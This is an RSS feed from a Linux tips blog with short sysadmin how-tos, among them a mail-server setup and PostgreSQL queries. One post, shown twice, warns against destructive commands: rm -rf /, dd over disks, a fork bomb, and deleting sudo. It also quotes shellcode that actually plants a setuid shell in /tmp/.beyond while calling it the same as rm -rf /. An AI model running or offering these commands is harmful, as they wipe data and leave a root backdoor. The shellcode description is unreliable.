<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Linux * Screw &#187; tips</title>
	<atom:link href="http://www.linuxscrew.com/category/tips/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.linuxscrew.com</link>
	<description></description>
	<lastBuildDate>Fri, 04 Nov 2011 14:19:15 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=4403</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Quick Tip: Increase port range available for applications</title>
		<link>http://www.linuxscrew.com/2011/02/15/quick-tip-port-range/</link>
		<comments>http://www.linuxscrew.com/2011/02/15/quick-tip-port-range/#comments</comments>
		<pubDate>Tue, 15 Feb 2011 20:05:00 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/?p=1172</guid>
		<description><![CDATA[By default an average Linux distribution allows applications to use the following TCP port range for outgoing connections: 32,786-65,536. That&#8217;s why your system can handle up to 28,232 TCP sessions at time. Notice, this is more than enough if your Linux system is installed on the laptop or desktop and you just use it for [...]]]></description>
			<content:encoded><![CDATA[<p>By default an average Linux distribution allows applications to use the following TCP port range for outgoing connections: 32,786-65,536. That&#8217;s why your system can handle up to 28,232 TCP sessions at time. Notice, this is more than enough if your Linux system is installed on the laptop or desktop and you just use it for occasional visits to facebook.com, gmail.com and linuxscrew.com (yeah!). But if you run proxy/webcache like squid or some other services which open a lot of outgoing TCP connections you will likely hit ceiling of 28,232 soon.</p>
<p>First of all, let&#8217;s see current port range available for TCP sessions:</p>
<p><code>cat /proc/sys/net/ipv4/ip_local_port_range</code></p>
<p>Most likely the output will show something like this one &#8220;32786  65536&#8243;. In order to expand this range you can either echo modified range into above file in /proc filesystem (temporary solution) or add corresponding line into /etc/sysctl.conf (constant solution).</p>
<p>To temporarily expand port range from 28,232 to 40,000 do the following:</p>
<p><code>sudo -s<br />
echo "25000 65000" > /proc/sys/net/ipv4/ip_local_port_range</code></p>
<p>To make sure new port range will be applied after reboot add the following line to /etc/sysctl.conf:</p>
<p><code>net.ipv4.ip_local_port_range="25000 65000"</code></p>
<p>or just execute this:</p>
<p><code>sudo sysctl -n net.ipv4.ip_local_port_range="25000 65000"</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2011/02/15/quick-tip-port-range/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Sendmail for virtual users with procmail, spamassassin and dovecot</title>
		<link>http://www.linuxscrew.com/2011/02/07/sendmail-for-virtual-users-with-procmail-spamassassin-and-dovecot/</link>
		<comments>http://www.linuxscrew.com/2011/02/07/sendmail-for-virtual-users-with-procmail-spamassassin-and-dovecot/#comments</comments>
		<pubDate>Mon, 07 Feb 2011 07:40:05 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[applications]]></category>
		<category><![CDATA[howtos]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/?p=1163</guid>
		<description><![CDATA[Today I&#8217;d like to describe setup of sendmail that allows to establish receiving of e-mails for certain domain and sort incoming messages between virtual users. Those users must be able to fetch received e-mails via POP3 or IMAP protocols with or without TLS encryption. The key aspect of this kind of setup is that we [...]]]></description>
			<content:encoded><![CDATA[<p>Today I&#8217;d like to describe setup of <a href="http://www.sendmail.org">sendmail</a> that allows to establish receiving of e-mails for certain domain and sort incoming messages between virtual users. Those users must be able to fetch received e-mails via POP3 or IMAP protocols with or without TLS encryption. The key aspect of this kind of setup is that we will make sendmail working with virtual users which aren&#8217;t present in <em>/etc/passwd</em> so once it&#8217;s necessary to create new mailbox it&#8217;s not required to add new Unix/Linux account into system. Also, unlike similar configurations based on postfix we will not run <a href="http://www.mysql.org" class="broken_link" >mysql</a> or <a href="http://www.postgresql.org/">postgres</a> databases to store list of users, their settings, mail routing etc. &#8212; everything is stored in text files.</p>
<p>Whole setup relies on the following components: <strong>sendmail</strong> &#8211; receives mails from MTAs around the Web and sorts incoming mails between users of mail system, <strong><a href="http://www.procmail.org">procmail</a></strong> makes it possible to apply various custom configurations for selected users e.g. set up autoresponder, filter e-mails etc., <strong><a href="http://spamassassin.apache.org">spamassassin</a></strong> is well known spam filter, <strong><a href="http://www.dovecot.org">dovecot</a></strong> &#8212; POP3 and IMAP service daemon.</p>
<p>1. Sendmail installation procedure depends on your Linux distribution but in most cases it is enough to install corresponding binary package e.g. <code>sudo yum install sendmail</code> or <code>sudo apt-get install sendmail</code>. But it is also natural idea to compile sendmail from sources to get the most fresh version &#8212; this is perfectly covered at <a href="http://www.sendmail.org/documentation/installGuide">sendmail.org</a>.</p>
<p>2. If you run one of major Linux distributions you should just execute something like below in command line to get all other required components installed:</p>
<p><code>sudo apt-get install procmail spamassassin dovecot</code><br />
or<br />
<code>sudo yum install procmail spamassassin dovecot</code></p>
<p>The possibility to install all the components from sources is still open [for geeks only].</p>
<p>3. Sendmail&#8217;s configuration is stored in <em>/etc/mail</em> directory and by default it is configured not to receive mails for any domain. We should change by adding &#8216;example.com&#8217; domain to <i>/etc/mail/local-host-names</i> file. Please notice that <a href="http://en.wikipedia.org/wiki/MX_record" class="broken_link" >MX DNS entry</a> for your domain e.g. &#8220;example.com&#8221; should point to server where you&#8217;re trying to set up sendmail.</p>
<p>4. There is another key configuration file <em>/etc/mail/virtusertable</em> that holds all mail routing information, e.g. below line tells sendmail that all incoming mails to test@example.com should go to user &#8216;user1.virtual&#8217;:</p>
<p><em>test@example.com        user1.virtual</em></p>
<p>The following line routes rest incoming mails to user2.virtual:</p>
<p><em>@example.com            user2.virtual</em></p>
<p>5. As it comes from their names <em>user1.virtual</em> and <em>use2.virtual</em> are virtual so they shouldn&#8217;t be present in <em>/etc/passwd</em>. In order to make sendmail to deliver mails to virtual users it is required to specify them in <em>/etc/alias</em> file. E.g. if we plan to route mails destined to <em>test@example.com</em> to <em>user1.virtual</em> we should add the following line to <em>/etc/alias</em>:</p>
<p><em>user1.virtual: |/etc/smrsh/user1.virtual</em></p>
<p>This line tells sendmail that it should execute script <em>/etc/smrsh/user1.virtual</em> to deliver mail to <em>user1.virtual</em>. Please notice that if you place the script to ther directory than <em>/etc/smrsh</em> setup wont&#8217; work. Now let&#8217;s see the contents of <em>/etc/smrsh/user1.virtual</em>, it contains one line including the path to procmail binary and procmailrc script for <em>user1.virtual</em> user:</p>
<p><code>[root@server ~]# cat /etc/smrsh/user1.virtual<br />
/usr/bin/procmail /etc/procmail.d/user1.virtual</code></p>
<p><em>/etc/procmail.d/user1.virtual</em> file includes all custom settings for <em>user1.virtual</em> virtual user, e.g. below is an example that will receive mails to <em>test@example.com</em>, check them for spam and store into user1.virtual&#8217;s inbox:</p>
<p><code>[root@server ~]# cat /etc/procmail.d/user1.virtual<br />
PATH=/bin:/usr/bin:/usr/contrib/bin:/usr/sbin:/usr/local/bin:/sbin<br />
MONTHYEAR=^Date +%y%m<br />
VHOME=/var/spool/virtual/example.com/mail/user1.virtual<br />
LOGFILE=/var/spool/virtual/example.com/logs/user1.virtual/log<br />
LOGABSTRACT=all<br />
VERBOSE=on</p>
<p># Spam filter<br />
:0fw<br />
| /usr/bin/spamc</p>
<p>:0:<br />
* ^X-Spam-Status: Yes<br />
$VHOME/spam</p>
<p>:0:<br />
$VHOME/inbox</code></p>
<p>As you can see spam mails will be stored in inbox while spam e-mails will be forwarded to file named &#8217;spam&#8217;. Later on you will be able to access inbox using POP3 and spam using IMAP service. In order to prepare user1.virtual&#8217;s inbox you should do the following:</p>
<p><code>mkdir -p /var/spool/virtual/example.com/mail/user1.virtual<br />
mkdir -p /var/spool/virtual/example.com/logs/user1.virtual<br />
chown mail.mail /var/spool/virtual/example.com/mail/user1.virtual -R<br />
chown mail.mail /var/spool/virtual/example.com/logs/user1.virtual -R</code></p>
<p>As for spamassassin, it is comes configured by default so in order to start it you should start spamd daemon e.g. by command <code>service spamd start</code> or <code>/etc/init.d/spamd start</code>. You can get more information about how to configure it at <a href="http://spamassassin.apache.org">SA&#8217;s website</a>.</p>
<p>From this point you may try sending mails to <em>test@example.com</em> and see log entries in <em>/var/spool/virtual/example.com/logs/user1.virtual/log</em> and incoming mails in <em>/var/spool/virtual/example.com/mail/user1.virtual/inbox</em>. If something goes wrong it makes sense to look into <em>/var/log/maillog</em> sendmail&#8217;s main log file.</p>
<p>5. Default configuration of dovecot is rather useful and makes it possible to establish POP3 and IMAP services for virtual users in seconds. Let&#8217;s imagine you&#8217;re running dovecot 2.x version, here are some configuration keys you should add into dovecot&#8217;s config, e.g. <em>/etc/dovecot/dovecot.conf</em>:</p>
<p><code>protocols = pop3 imap</p>
<p>service pop3-login {<br />
    inet_listener pop3 {<br />
	port = 110<br />
    }<br />
}</p>
<p>service imap-login {<br />
    inet_listener imap {<br />
	port = 143<br />
    }<br />
}</p>
<p>ssl = yes<br />
ssl_cert = &lt;/etc/dovecot/keys/server.crt        #server's self signed certificate generated by openssl<br />
ssl_key = &lt;/etc/dovecot/keys/server.key      # server's private key generated by openssl</p>
<p>default_login_user = mail<br />
default_internal_user = mail</p>
<p>first_valid_uid=8 #this is UID of mail user that you can see in /etc/passwd<br />
auth_mechanisms = plain login cram-md5 digest-md5</p>
<p>mail_location = mbox:/var/spool/virtual/example.com/mail/%u/</p>
<p>  userdb {<br />
    driver = passwd-file<br />
    args = username_format=%n /etc/dovecot/passwd<br />
  }<br />
  passdb {<br />
    driver = passwd-file<br />
    args = username_format=%n /etc/dovecot/passwd<br />
  }</p>
<p>log_path = /var/log/dovecot.log<br />
info_log_path = /var/log/dovecot-info.log<br />
debug_log_path = /var/log/dovecot-debug.log</code></p>
<p>Once you make sure your dovecot&#8217;s configuration includes mentioned lines you&#8217;re welcome to try starting dovecot either by <code>service dovecot start</code> or by just &#8216;dovecot&#8217;. In case of success you will see 110 and 143 ports in output <code>netstat -lnp</code> or errors in dovecot&#8217;s log file <em>/var/log/dovecot.log</em>. Let&#8217;s imagine it started without problems <img src='http://www.linuxscrew.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Now it&#8217;s time to set up the password for <em>user1.virtual</em> user, according to dovecot&#8217;s configuration suggested above the passwords are stored in <em>/etc/dovecot/passwd</em>. This is a text file, here is example line from it:</p>
<p><code>user1.virtual:{PLAIN}pass123:8:12</code></p>
<p>In this example <em>user1.virtual</em> has password pass123 stored in plain text, 8 is UID of mail user in your <em>/etc/passwd</em>, 12 is GID of mail group (you can also check this in <em>/etc/passwd</em>).</p>
<p>Fin.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2011/02/07/sendmail-for-virtual-users-with-procmail-spamassassin-and-dovecot/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>youtube-dl: download youtube videos in Ubuntu using command line</title>
		<link>http://www.linuxscrew.com/2010/05/19/youtube-dl-download-youtube-videos-in-ubuntu-using-command-line/</link>
		<comments>http://www.linuxscrew.com/2010/05/19/youtube-dl-download-youtube-videos-in-ubuntu-using-command-line/#comments</comments>
		<pubDate>Wed, 19 May 2010 17:54:01 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[applications]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/?p=1047</guid>
		<description><![CDATA[If you use Ubuntu (or other Linux distribution) and you wish to download some video from youtube.com into .flv file you can try using youtube-dl command line utility. It just downloads videos without any online applications, converters or etc. Type the following command in terminal to get it installed:
sudo apt-get install youtube-dl
Let&#8217;s imagine you would [...]]]></description>
			<content:encoded><![CDATA[<p>If you use <strong>Ubuntu</strong> (or other <strong>Linux</strong> distribution) and you wish to download some <strong>video</strong> from <a href="http://www.youtube.com"><strong>youtube</strong>.com</a> into <a href="http://en.wikipedia.org/wiki/Flash_Video">.flv</a> file you can try using <a href="http://bitbucket.org/rg3/youtube-dl/wiki/Home"><strong><code>youtube-dl</code></strong></a> command line utility. It just downloads videos without any online applications, converters or etc. Type the following command in terminal to get it installed:</p>
<p><code>sudo apt-get install youtube-dl</code><br />
Let&#8217;s imagine you would like to download the following video: <a href="http://www.youtube.com/watch?v=2leg8mUE9rs">http://www.youtube.com/watch?v=2leg8mUE9rs</a> (this is part of Military Parade at Red Square in Russia at 9th of May 2010). Just run <em>youtube-dl</em> download utility as follows:</p>
<p><code>youtube-dl http://www.youtube.com/watch?v=2leg8mUE9rs</code></p>
<p>and in a few minutes you will get 2leg8mUE9rs.flv file that could be viewed using almost any video player like my favorite one <a href="http://en.wikipedia.org/wiki/VLC_media_player">VLC</a>.</p>
<p style="text-align: center;"><img class="aligncenter" title="youtube-dl" src="/files/youtube-dl.png" alt="youtube-dl" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2010/05/19/youtube-dl-download-youtube-videos-in-ubuntu-using-command-line/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Fastest way to create ramdisk in Ubuntu/Linux</title>
		<link>http://www.linuxscrew.com/2010/03/24/fastest-way-to-create-ramdisk-in-ubuntulinux/</link>
		<comments>http://www.linuxscrew.com/2010/03/24/fastest-way-to-create-ramdisk-in-ubuntulinux/#comments</comments>
		<pubDate>Wed, 24 Mar 2010 12:08:04 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[howtos]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/?p=988</guid>
		<description><![CDATA[I hope many of you will agree that sometimes it&#8217;s really good idea to have some small amount of RAM mounted as a filesystem. It may be necessary when running some bash or perl script that handles, say, thousands of small files so it&#8217;s much more effective not to waste computer resources on reading/writing data [...]]]></description>
			<content:encoded><![CDATA[<p>I hope many of you will agree that sometimes it&#8217;s really good idea to have some small amount of RAM mounted as a filesystem. It may be necessary when running some bash or perl script that handles, say, thousands of small files so it&#8217;s much more effective not to waste computer resources on reading/writing data on hard disk but keep those files directly in memory. This idea is known as <a href="http://en.wikipedia.org/wiki/RAM_disk">Virtual RAM Drive</a> or <strong>ramdisk</strong> and can be setup in <strong>Ubuntu</strong> or almost any other <strong>Linux</strong> distribution using the following commands under root (to become root in Ubuntu use <code>"<strong>sudo -s</strong></code>&#8220;):</p>
<p># <strong>mkdir /tmp/ramdisk; chmod 777 /tmp/ramdisk</strong><br />
# <strong>mount -t tmpfs -o size=256M tmpfs /tmp/ramdisk/</strong></p>
<p>where 256M is amount of RAM you wish to allocate for ramdisk. It&#8217;s clear that this value should be <strong>less than amount of free memory</strong> (use &#8220;<code>free -m</code>&#8220;). BTW, if you specify too many MBs for ramdisk Linux will try to allocate it from RAM and then from swap so resulting performance would be very poor.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2010/03/24/fastest-way-to-create-ramdisk-in-ubuntulinux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Install Ruby 1.8.7 from sources in Centos 5.5</title>
		<link>http://www.linuxscrew.com/2010/02/22/install-ruby-1-8-7-from-sources-in-centos-5-5/</link>
		<comments>http://www.linuxscrew.com/2010/02/22/install-ruby-1-8-7-from-sources-in-centos-5-5/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 20:21:41 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[centos]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/?p=1178</guid>
		<description><![CDATA[Centos 5.5 official repository is rather outdated for today so the latest Ruby available there is 1.8.6. If you need a newer version e.g. 1.8.7 you should install if from sources:
0. Install prerequisites:
sudo yum install gcc zlib zlib-devel
1. Download the latest version of Ruby from project&#8217;s FTP:
cd /usr/src/
sudo -s
wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.7.tar.gz
tar -xvzf ruby-1.8.7.tar.gz
cd ruby-1.8.7
./configure --enable-pthread
make
make install
2. [...]]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://www.centos.org">Centos 5.5</a></strong> official repository is rather outdated for today so the latest <strong><a href="http://www.ruby-lang.org">Ruby</a></strong> available there is 1.8.6. If you need a newer version e.g. <strong>1.8.7</strong> you should install if from sources:</p>
<p>0. Install prerequisites:</p>
<pre>sudo yum install gcc zlib zlib-devel</pre>
<p>1. Download the latest version of Ruby from project&#8217;s <a href="ftp://ftp.ruby-lang.org/pub/ruby/">FTP</a>:</p>
<pre>cd /usr/src/
sudo -s
wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.7.tar.gz
tar -xvzf ruby-1.8.7.tar.gz
cd ruby-1.8.7
./configure --enable-pthread
make
make install</pre>
<p>2. Check ruby&#8217;s version is 1.8.7:</p>
<pre>[root@li110-222 ~]# /usr/local/bin/ruby -v
ruby 1.8.7 (2008-05-31 patchlevel 0) [i686-linux]</pre>
<p>That&#8217;s it!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2010/02/22/install-ruby-1-8-7-from-sources-in-centos-5-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>13 Linux lethal commands</title>
		<link>http://www.linuxscrew.com/2009/12/03/13-linux-lethal-commands/</link>
		<comments>http://www.linuxscrew.com/2009/12/03/13-linux-lethal-commands/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 08:02:52 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[hacks]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/?p=877</guid>
		<description><![CDATA[<p><img class="size-full wp-image-878 alignright" title="dead linux" src="http://www.linuxscrew.com/wp-content/uploads/2009/12/dead_linux.jpg" alt="dead linux" width="200" height="240" />In this post I will collect all commands which <strong>SHOULD NEVER</strong> be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.</p>
<p><span style="color: red;"><strong>NEVER RUN THESE COMMANDS IN LINUX BOX CLI!</strong></span></p>
<p>Even if somebody advises you in forum/im to do it.</p>
<p>1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:</p>
<ul>
<li><strong>sudo rm -rf /</strong></li>
<li><strong>rm -rf .* </strong></li>
<li><strong>dd if=/dev/zero of=/dev/sda</strong></li>
<li><strong>mkfs.ext3 /dev/hda</strong></li>
<li><strong>whatever &gt; /dev/hda</strong></li>
<li><strong>cd ~; for x in `ls`; do mv -f $x $y; y=$x; done </strong></li>
<li><strong>find -type f -mtime +30 -exec mv {} /dev/null \;</strong></li>
<li><strong>mv ~ /dev/null</strong></li>
<li><strong>mv / /dev/null</strong></li>
</ul>
<p>2. Causes kernel panic or freezes Linux box:</p>
<ul>
<li><code><strong>dd if=/dev/random of=/dev/port</strong></code></li>
<li><code><strong> <img src='http://www.linuxscrew.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:</strong></strong> #also known as <a href="http://en.wikipedia.org/wiki/Fork_bomb">fork bomb</a></li>
</ul>
<p>3. This one does the same as "rm -rf /":</p>
<p><strong>char esp[] __attribute__ ((section(".text"))) /* e.s.p<br />
release */<br />
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"<br />
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"<br />
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"<br />
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"<br />
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"<br />
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"<br />
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"<br />
"cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;";</strong></p>
<p>4. This one will prevent you from executing commands with root rights:</p>
<p><strong>rm -f /usr/bin/sudo;rm -f /bin/su</strong></p>
<p>If you know any other commands that can damage running Linux system or pose fatal problem to system administrators -- just comment it here so I could update this post. Thanks.</p>
<p><strong>Update</strong>: See what happens if execute <strong>rm -rf /</strong> in Ubuntu: <a href="http://www.youtube.com/watch?v=wWOjmvWPRvQ">http://www.youtube.com/watch?v=wWOjmvWPRvQ</a></p>
<p><!-- INFOLINKS_OFF -->
<p style="padding-top: 25px; padding-bottom: 25px;"><font size="-2"><strong>Information improvisation: </strong>Subscribe for <a href="http://www.actualtests.com/exam-650-575.htm">650-575 dumps</a> training sessions to guarantee pass <a href="http://www.certkiller.com/exam-642-611.htm">642-611</a> exam. Also get free download link for the next <a href="http://www.examsheets.com/exam/1z0-533.htm">1z0-533</a> exam, after getting success in <a href="http://www.testkingsite.com/microsoft/70-433.html">70-433</a> &#038; <a href="http://www.testkingprep.com/642-661.html">642-661</a>, you can find a wonderful job.<br />
</font></p>
]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-878 alignright" title="dead linux" src="http://www.linuxscrew.com/wp-content/uploads/2009/12/dead_linux.jpg" alt="dead linux" width="200" height="240" />In this post I will collect all commands which <strong>SHOULD NEVER</strong> be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.</p>
<p><span style="color: red;"><strong>NEVER RUN THESE COMMANDS IN LINUX BOX CLI!</strong></span></p>
<p>Even if somebody advises you in forum/im to do it.</p>
<p>1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:</p>
<ul>
<li><strong>sudo rm -rf /</strong></li>
<li><strong>rm -rf .* </strong></li>
<li><strong>dd if=/dev/zero of=/dev/sda</strong></li>
<li><strong>mkfs.ext3 /dev/hda</strong></li>
<li><strong>whatever &gt; /dev/hda</strong></li>
<li><strong>cd ~; for x in `ls`; do mv -f $x $y; y=$x; done </strong></li>
<li><strong>find -type f -mtime +30 -exec mv {} /dev/null \;</strong></li>
<li><strong>mv ~ /dev/null</strong></li>
<li><strong>mv / /dev/null</strong></li>
</ul>
<p>2. Causes kernel panic or freezes Linux box:</p>
<ul>
<li><code><strong>dd if=/dev/random of=/dev/port</strong></code></li>
<li><code><strong> <img src='http://www.linuxscrew.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:</strong></strong> #also known as <a href="http://en.wikipedia.org/wiki/Fork_bomb">fork bomb</a></li>
</ul>
<p>3. This one does the same as "rm -rf /":</p>
<p><strong>char esp[] __attribute__ ((section(".text"))) /* e.s.p<br />
release */<br />
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"<br />
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"<br />
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"<br />
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"<br />
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"<br />
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"<br />
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"<br />
"cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;";</strong></p>
<p>4. This one will prevent you from executing commands with root rights:</p>
<p><strong>rm -f /usr/bin/sudo;rm -f /bin/su</strong></p>
<p>If you know any other commands that can damage running Linux system or pose fatal problem to system administrators -- just comment it here so I could update this post. Thanks.</p>
<p><strong>Update</strong>: See what happens if execute <strong>rm -rf /</strong> in Ubuntu: <a href="http://www.youtube.com/watch?v=wWOjmvWPRvQ">http://www.youtube.com/watch?v=wWOjmvWPRvQ</a></p>
<p><!-- INFOLINKS_OFF -->
<p style="padding-top: 25px; padding-bottom: 25px;"><font size="-2"><strong>Information improvisation: </strong>Subscribe for <a href="http://www.actualtests.com/exam-650-575.htm">650-575 dumps</a> training sessions to guarantee pass <a href="http://www.certkiller.com/exam-642-611.htm">642-611</a> exam. Also get free download link for the next <a href="http://www.examsheets.com/exam/1z0-533.htm">1z0-533</a> exam, after getting success in <a href="http://www.testkingsite.com/microsoft/70-433.html">70-433</a> &#038; <a href="http://www.testkingprep.com/642-661.html">642-661</a>, you can find a wonderful job.<br />
</font></p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2009/12/03/13-linux-lethal-commands/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quick fix of FreeBSD rtld vulnerability</title>
		<link>http://www.linuxscrew.com/2009/12/02/quick-fix-of-freebsd-rtld-vulnerability/</link>
		<comments>http://www.linuxscrew.com/2009/12/02/quick-fix-of-freebsd-rtld-vulnerability/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 16:10:29 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/?p=890</guid>
		<description><![CDATA[Yesterday really serious security bug was found in FreeBSD (from 7.1 to 8.0).  Using public exploit local user can gain root privileges on vulnerable system. Below is an easy way solution to fix this terrible bug:
% cd /usr/src/libexec/rtld-elf/
% fetch http://people.freebsd.org/~cperciva/rtld.patch
% cat rtld.patch &#124; patch -p1
% make &#38;&#38; make install &#38;&#38; make clean
Thanks to soko1 [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright" title="freebsd logo" src="http://www.linuxscrew.com/wp-content/uploads/2007/09/freebsd_logo.thumbnail.png" alt="" width="109" height="128" />Yesterday really <a href="http://docs.freebsd.org/cgi/getmsg.cgi?fetch=0+0+current/freebsd-announce">serious</a> security bug <a href="http://securitytracker.com/alerts/2009/Dec/1023250.html">was found</a> in <a href="http://www.freebsd.org">FreeBSD</a> (from 7.1 to 8.0).  Using <a href="http://www.exploit-db.com/exploits/10255">public exploit</a> local user can gain root privileges on vulnerable system. Below is an easy way solution to fix this terrible bug:</p>
<p><code>% cd /usr/src/libexec/rtld-elf/<br />
% fetch <a href="http://people.freebsd.org/%7Ecperciva/rtld.patch">http://people.freebsd.org/~cperciva/rtld.patch</a><br />
% cat rtld.patch | patch -p1<br />
% make &amp;&amp; make install &amp;&amp; make clean</code></p>
<p>Thanks to <a href="http://truebsd.org/sokolov/596">soko1</a> from <a href="http://www.truebsd.org/">truebsd.org</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2009/12/02/quick-fix-of-freebsd-rtld-vulnerability/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Postgresql: show tables, show databases, show columns</title>
		<link>http://www.linuxscrew.com/2009/07/03/postgresql-show-tables-show-databases-show-columns/</link>
		<comments>http://www.linuxscrew.com/2009/07/03/postgresql-show-tables-show-databases-show-columns/#comments</comments>
		<pubDate>Fri, 03 Jul 2009 20:50:16 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/?p=826</guid>
		<description><![CDATA[PostgreSQL is one of the best database engines for an average web project and many who moves to psql from mysql (for example) often ask the following questions: what  is the analog of &#8220;show tables&#8221; in postgres? or how can I get the list of databases in postgres like &#8220;show databases&#8221; in mysql? The answers [...]]]></description>
			<content:encoded><![CDATA[<p><strong><img class="size-full wp-image-827 alignright" title="postgresql logo" src="http://www.linuxscrew.com/wp-content/uploads/2009/07/postgresql_logo.png" alt="postgresql logo" width="250" height="198" />PostgreSQL</strong> is one of the best database engines for an average web project and many who moves to <strong>psql</strong> from mysql (for example) often ask the following questions: what  is the analog of &#8220;<strong>show tables</strong>&#8221; in postgres? or how can I get the list of databases in postgres like &#8220;<strong>show databases</strong>&#8221; in mysql? The answers are short:</p>
<p>mysql: <strong><code>SHOW TABLES</code></strong><br />
postgresql: <strong><code>\d</code></strong><br />
postgresql: <code>SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';</code></p>
<p>mysql: <code><strong>SHOW DATABASES</strong></code><br />
postgresql: <strong><code>\l</code></strong><br />
postgresql: <code>SELECT datname FROM pg_database;</code></p>
<p>mysql: <strong><code>SHOW COLUMNS</code></strong><br />
postgresql: <strong><code>\d</code></strong> <strong>table</strong><br />
postgresql: <code>SELECT column_name FROM information_schema.columns WHERE table_name ='<em>table</em>';</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2009/07/03/postgresql-show-tables-show-databases-show-columns/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Install Ubuntu Chromium browser (Google Chrome for Linux)</title>
		<link>http://www.linuxscrew.com/2009/06/22/install-ubuntu-chromium-browser-google-chrome-for-linux/</link>
		<comments>http://www.linuxscrew.com/2009/06/22/install-ubuntu-chromium-browser-google-chrome-for-linux/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 14:30:18 +0000</pubDate>
